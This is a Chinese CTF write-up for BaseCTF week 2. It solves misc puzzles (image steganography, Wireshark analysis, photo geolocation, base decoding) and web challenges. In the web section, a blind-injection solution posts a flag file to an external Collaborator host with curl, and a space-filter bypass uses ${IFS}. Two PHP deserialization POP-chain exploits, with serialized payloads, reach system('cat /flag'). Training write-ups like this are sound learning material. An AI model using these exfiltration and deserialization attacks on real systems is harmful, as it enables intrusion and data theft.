BaseCTF比赛week2-wp

[TOC]

Misc

[Week2] 黑丝上的flag

考点:图片隐写

打开是一张嗨咝图。根据题目意思,flag应该在黑丝上。放进StegSolve看看,找到了flag。

image-20240823125446281

image-20240823121833011

image-20240823122015855

[Week2] Base?!

考点:简单的base

下载附件打开,解码出现flag。

image-20240823125548236

image-20240823125624311

[Week2] 海上又遇了鲨鱼

考点:流量分析

将附件用wireshark打开,发现了关键词flag.zip。

image-20240823125804797

追踪流查看,发现有个登录的password,估计需要,先记下来

image-20240823130203939

将此文件提取下载出来,解压,密码就是上面的password,找到flag。

image-20240823130057568

image-20240823130127445

[Week2] Aura 酱的旅行日记 I <图寻擂台>

考点:图片查地址

image-20240823132107042

搜索关键词-恐龙化石,博物馆。找到相似的图。

image-20240823132200529

找到地址信息,就是flag。

image-20240823132300257

[Week2] 前辈什么的最喜欢了

考点:base64

下载附件,一大串vase64编码,解码找到flag。

image-20240823133444346

image-20240823133312396

[Week2] Aura 酱的旅行日记 III <图寻擂台>

考点:图片信息,查地址

image-20240823175518325

根据图片gps经纬度信息,算出经度纬度。

计算方式:原经纬度 = 度 + (分/60) + (秒/3600)
根据这张图片的经纬度,计算如下:(一般西经是加负号)

纬度:29;40;18.4799999999957265;
经度:102;57;46.7.72200000000864861.

计算得到:

纬度 = 29.67179999999999881
经度 = 102.9521450000000024

最后用地图找到大致位置,找一下附近的风景区,其名字就是flag。

[Week2] 反方向的雪

考点:文件分离,二进制逆序,空白格隐写,压缩包密码破解

下载附件解压,发现是一张图片,扔进010editor发现末尾加了其他文件。

image-20240823191853055

将这一部分提取出来,如何逆序,发现就是个zip文件(“反方向”的雪)

需要密码,下面有个提示,但是却不是这个地方的密码。(试了半天,果断放弃,扔进解压工具爆破)

image-20240823191636716

image-20240823191728509

爆破出密码,解压打开发现是空白格隐藏,用到SNOW工具。

image-20240823191602570

上面提示的密码是SNOW工具这里用的。(反方向的“雪”)

拿到flag。完事儿~~

image-20240823191542299

[Week2] 哇!珍德食泥鸭

考点:文件分离

下载附件,打开是我们坤坤的gif动图(滑稽)。

刚开始以为会在某张图里面有信息,结果找遍了都没发现。

丢尽010editor,发现了一个压缩包

image-20240823235133035

将压缩包提取出来。在其中一个网页文件发现了flag。

image-20240823235221031

image-20240823235250738

[Week2] Aura 酱的旅行日记 IV <图寻擂台>

考点:图寻

根据图片信息,搜索关键词:二龙戏珠。然后对比图,发现地点在江苏省南京市秦淮区贡院街夫子庙景区,也是本题的flag。

[Week2] Aura 酱的旅行日记 V <图寻擂台>

这位伟人的铜像照,很快联想到邓小平故居。其地址就是flag。

BaseCTF{四川省广安市广安区邓小平故里-邓小平铜像广场and邓小平故居陈列馆}

[Week2] Aura 酱的旅行日记 VI <图寻擂台>

一所学校,看到关键词-迎泽。搜索一下,找到了一张相似图片,是太原市第五中学。

BaseCTF{山西省太原市迎泽区青年路49号太原市第五中学校-建校时间1906年}

[Week2] 二维码1-街头小广告

考点:二维码残缺

补上一个角,先扫一下,发现打开了basectf官网。

放进QRsearch,查看信息,得到flag。

image-20240909205627737

[Week2] ez_crypto

考点:base64换表,crypto

1
qMfZzunurNTuAdfZxZfZxZrUx2v6x2i0C2u2ngrLyZbKzx0=

image-20240909210132585

web

[Week2] 一起吃豆豆

考点:控制台源码分析

打开时j5做的小游戏,直接查看脚本,找到控制游戏结束的位置,发现一串base64编码,解码得到flag。

image-20240823154153145

image-20240823154132273

[Week2] 你听不到我的声音

考点:shell_exec()无回显函数(见笔记)

image-20240823170508632

shell_exec()是函数执行命令,但是这个地方无法回显。

先将执行命令后的结果用一个文件保存,之后再读取这个文件就行了。

先传入:

1
cmd=cat /f* > 2.txt

再粘贴burp里Collaborator里获取的payload。

image-20240823170736727

1
cmd=curl -X POST -F xx=@2.txt http://n8w9fjwqhuqrvdodcvrfwstrui09o0poe.oastify.com

之后提取到2.txt文件就能得到flag。

image-20240823171025594

[Week2] RCEisamazingwithspace

考点:空白符号过滤

用${IFS}过滤空白符就行。

image-20240823181157674

[Week2] ez_ser

考点:简单的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}

class web {
public $kw;
public $dt;

public function __wakeup() {
echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}

class pwn {
public $dusk;
public $over;

public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}

class Misc {
public $nothing;
public $flag;

public function getflag() {
eval("system('cat /flag');");
}
}

class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>

分析一下,看到了__wakeup()函数,所以就使用它这条链了。

new web() -> new re() -> new pwn() -> new Misc()

构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nonono;
}
}

class web {
public $kw;
public $dt;

public function __wakeup() {
echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}

class pwn {
public $dusk;
public $over;

public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}

class Misc {
public $nothing;
public $flag;

public function getflag() {
eval("system('cat /flag');");
}
}

class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$a = new web();
$a->kw = new re();
$a->kw->chu0 = new pwn();
$a->kw->chu0->dusk = "gods";
$a->kw->chu0->over = new Misc();
echo urlencode(serialize($a));
?>
//O%3A3%3A%22web%22%3A2%3A%7Bs%3A2%3A%22kw%22%3BO%3A2%3A%22re%22%3A1%3A%7Bs%3A4%3A%22chu0%22%3BO%3A3%3A%22pwn%22%3A2%3A%7Bs%3A4%3A%22dusk%22%3Bs%3A4%3A%22gods%22%3Bs%3A4%3A%22over%22%3BO%3A4%3A%22Misc%22%3A2%3A%7Bs%3A7%3A%22nothing%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7D%7D%7Ds%3A2%3A%22dt%22%3BN%3B%7DALL Done!

传进去得到flag。

image-20240823221539045

[Week2] Really EZ POP

考点:pop链

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 <?php
highlight_file(__FILE__);

class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}

看到了函数

1
__destrust(),__invoke(),__toString()

构造pop链:

nature -> sea -> Shark -> Sink

由于私有属性问题,要在Shark类中构造个函数setWord()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
class Sink
{
private $cmd = 'system("cat /flag");';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function setWord($word)
{
$this->word = $word;

}
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}
$a = new Nature();
$a->sea = new Sea();
$b = new Sink();
$c = new Shark();
$c->setWord($b);
$a->sea->animal =$c;
echo urlencode(serialize($a));
?>
//O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D%7D%7D%7D

直接用hackerbar进行post传参无回显,那就bp抓包,在Body里的参数里的值进行重新复制就行。

image-20240909213202742

放行后得到flag回显

image-20240909213317991

[Week2] 数学大师

考点:python的requests库(见脚本)

每⼀道题⽬需要在 5 秒内解出, 传⼊到 $_POST[‘answer’] 中, 解出 50 道即可, 除法取整 。 考察使⽤ Python 的 requests 库写脚本,注意在请求时要开启 session cookie。

image-20240909215036189